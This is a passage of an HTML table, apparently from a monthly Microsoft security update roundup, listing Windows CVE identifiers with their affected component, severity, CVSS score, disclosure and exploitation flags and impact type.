 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58535"><span>CVE-2026-58535</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58546"><span>CVE-2026-58546</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58539"><span>CVE-2026-58539</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55003"><span>CVE-2026-55003</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57979"><span>CVE-2026-57979</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50445"><span>CVE-2026-50445</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50497"><span>CVE-2026-50497</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54126"><span>CVE-2026-54126</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57982"><span>CVE-2026-57982</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50369"><span>CVE-2026-50369</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58626"><span>CVE-2026-58626</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55014"><span>CVE-2026-55014</span></a></td>
  <td width="256" class="xl74">Windows Remote Help
  Defense Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50318"><span>CVE-2026-50318</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50407"><span>CVE-2026-50407</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50357"><span>CVE-2026-50357</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50441"><span>CVE-2026-50441</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50668"><span>CVE-2026-50668</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54109"><span>CVE-2026-54109</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49792"><span>CVE-2026-49792</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49793"><span>CVE-2026-49793</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50362"><span>CVE-2026-50362</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50492"><span>CVE-2026-50492</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50501"><span>CVE-2026-50501</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58530"><span>CVE-2026-58530</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49791"><span>CVE-2026-49791</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50451"><span>CVE-2026-50451</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57096"><span>CVE-2026-57096</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50323"><span>CVE-2026-50323</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50452"><span>CVE-2026-50452</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50348"><span>CVE-2026-50348</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50345"><span>CVE-2026-50345</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50322"><span>CVE-2026-50322</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50340"><span>CVE-2026-50340</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50410"><span>CVE-2026-50410</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50449"><span>CVE-2026-50449</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50460"><span>CVE-2026-50460</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50403"><span>CVE-2026-50403</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50385"><span>CVE-2026-50385</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50413"><span>CVE-2026-50413</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50457"><span>CVE-2026-50457</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50486"><span>CVE-2026-50486</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50503"><span>CVE-2026-50503</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54125"><span>CVE-2026-54125</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58527"><span>CVE-2026-58527</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50373"><span>CVE-2026-50373</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50679"><span>CVE-2026-50679</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44806"><span>CVE-2026-44806</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50681"><span>CVE-2026-50681</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56186"><span>CVE-2026-56186</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50367"><span>CVE-2026-50367</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58619"><span>CVE-2026-58619</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50311"><span>CVE-2026-50311</span></a></td>
  <td width="256" class="xl74">Windows Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50328"><span>CVE-2026-50328</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58531"><span>CVE-2026-58531</span></a></td>
  <td width="256" class="xl74">Windows SMB Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54997"><span>CVE-2026-54997</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49801"><span>CVE-2026-49801</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50690"><span>CVE-2026-50690</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56168"><span>CVE-2026-56168</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50360"><span>CVE-2026-50360</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57089"><span>CVE-2026-57089</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50333"><span>CVE-2026-50333</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50298"><span>CVE-2026-50298</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49171"><span>CVE-2026-49171</span></a></td>
  <td width="256" class="xl74">Windows Speech Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49170"><span>CVE-2026-49170</span></a></td>
  <td width="256" class="xl74">Windows
  StateRepository API Server file Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58526"><span>CVE-2026-58526</span></a></td>
  <td width="256" class="xl74">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50299"><span>CVE-2026-50299</span></a></td>
  <td width="256" class="xl74">Windows Storage Spaces
  Direct Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57968"><span>CVE-2026-57968</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57973"><span>CVE-2026-57973</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50418"><span>CVE-2026-50418</span></a></td>
  <td width="256" class="xl74">Windows System Secure
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50306"><span>CVE-2026-50306</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50307"><span>CVE-2026-50307</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49177"><span>CVE-2026-49177</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50669"><span>CVE-2026-50669</span></a></td>
  <td width="256" class="xl74">Windows Telephony
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
